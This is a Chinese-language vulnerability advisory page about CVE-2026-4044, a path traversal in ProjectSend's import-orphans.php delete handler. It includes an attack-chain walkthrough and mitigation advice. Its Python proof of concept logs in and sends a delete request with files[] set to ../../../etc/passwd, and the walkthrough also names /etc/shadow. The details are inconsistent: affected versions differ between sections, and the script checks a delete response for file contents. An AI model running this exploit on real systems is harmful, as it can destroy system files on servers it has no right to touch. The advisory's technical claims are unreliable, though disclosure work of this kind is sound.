IPBUF安全漏洞报告
English
CVE-2026-4044 CVSS 3.8 低危

CVE-2026-4044 projectsend Delete Handler 路径遍历漏洞

披露日期: 2026-03-12

漏洞信息

漏洞编号
CVE-2026-4044
漏洞类型
路径遍历
CVSS评分
3.8 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
projectsend

相关标签

路径遍历CVE-2026-4044ProjectSendDelete Handlerrealpathimport-orphans.php文件操作高权限认证

漏洞概述

CVE-2026-4044是ProjectSend软件中的一个路径遍历安全漏洞,影响版本至r1945。该漏洞存在于import-orphans.php文件的Delete Handler组件中,具体问题出在realpath函数的实现上。攻击者可以通过操纵HTTP请求中的files[]参数,注入特殊的路径序列(如../)来突破应用程序的目录限制,实现路径遍历攻击。由于该漏洞需要高权限认证才能利用,攻击者需要拥有ProjectSend的管理员或同等权限账户。虽然CVSS评分仅为3.8,属于低危级别,但路径遍历漏洞仍可能导致敏感文件被删除或读取,对系统完整性造成一定影响。该漏洞已被公开披露,相关的利用代码可能已经流传,ProjectSend用户应尽快采取防护措施。值得注意的是,厂商在接到安全通知后未做出任何回应,这使得漏洞的官方修复时间表变得不确定。

技术细节

该漏洞的技术根源在于ProjectSend的import-orphans.php文件中Delete Handler组件对用户输入的文件路径验证不充分。攻击者可以通过files[]参数传递精心构造的路径值,利用../等目录遍历序列绕过安全限制。具体来说,当应用程序调用realpath()函数处理用户提供的路径时,如果输入未经过严格的路径规范化检查,攻击者可以使用相对路径引用(如../../../etc/passwd)来访问系统敏感目录中的文件。攻击成功的关键在于:1)目标文件路径必须可被应用程序进程访问;2)攻击者需要具有删除或操作文件的权限;3)realpath()函数在处理包含../的路径时不会进行充分的输入验证。在实际攻击场景中,攻击者首先需要登录ProjectSend系统并获取高权限账户,然后构造包含路径遍历序列的HTTP请求发送到/import-orphans.php端点。服务器端代码会提取files[]参数中的值,传递给realpath函数进行处理,如果路径验证不严,就会将请求转发给底层的文件系统操作函数,导致非预期文件被访问或操作。

攻击链分析

STEP 1
步骤1
攻击者获取ProjectSend系统的高权限账户(PR:H要求),通过钓鱼、弱口令或其他手段获得管理员或同等权限的登录凭证
STEP 2
步骤2
攻击者构造包含路径遍历序列的恶意HTTP请求,将files[]参数设置为类似../../../etc/passwd或../../../../etc/shadow的路径值
STEP 3
步骤3
攻击者将恶意请求发送到目标服务器的/import-orphans.php端点,触发Delete Handler组件的处理逻辑
STEP 4
步骤4
服务器端的realpath()函数处理攻击者提供的路径,由于缺乏充分的输入验证,相对路径序列被正确解析,指向应用程序目录之外的系统文件
STEP 5
步骤5
Delete Handler对目标路径执行文件操作(读取或删除),导致敏感文件被非授权访问或删除,可能造成数据泄露或服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-4044 PoC - ProjectSend Path Traversal in Delete Handler # Target: ProjectSend <= r1945 # Component: /import-orphans.php, Delete Handler # Vulnerability: Path traversal via files[] parameter def exploit_path_traversal(target_url, username, password): """ Exploit for CVE-2026-4044 - Path Traversal in ProjectSend Args: target_url: Base URL of vulnerable ProjectSend instance username: Valid high-privilege username password: Password for the account """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data, timeout=10) if 'logout' not in login_response.text.lower(): print("[-] Login failed - check credentials") return False print("[+] Login successful") # Step 2: Send malicious request with path traversal payload exploit_url = f"{target_url}/import-orphans.php" # Path traversal payload - attempts to access parent directories # This example attempts to reference ../../../etc/passwd files_data = [ ('files[]', ('../../../etc/passwd', '', 'text/plain')) ] exploit_data = { 'action': 'delete', 'files[]': '../../../etc/passwd' } exploit_response = session.post( exploit_url, data=exploit_data, timeout=10 ) print(f"[*] Exploit request sent to {exploit_url}") print(f"[*] Response status: {exploit_response.status_code}") # Step 3: Analyze response for successful exploitation if exploit_response.status_code == 200: if 'passwd' in exploit_response.text or 'root:' in exploit_response.text: print("[!] VULNERABLE - Path traversal confirmed") return True else: print("[-] Path traversal not confirmed in response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_path_traversal(target, user, pwd)

影响范围

ProjectSend < r1945

防御指南

临时缓解措施
由于厂商未回应安全通知,建议立即采取以下临时措施:1) 限制/import-orphans.php的访问权限,仅允许可信IP访问;2) 暂时禁用Delete Handler功能直到官方修复发布;3) 加强对高权限账户的安全管理,使用强密码和双因素认证;4) 实施文件上传/操作的完整审计日志,监控异常的文件访问行为;5) 考虑使用mod_security等WAF规则临时阻断此类攻击模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表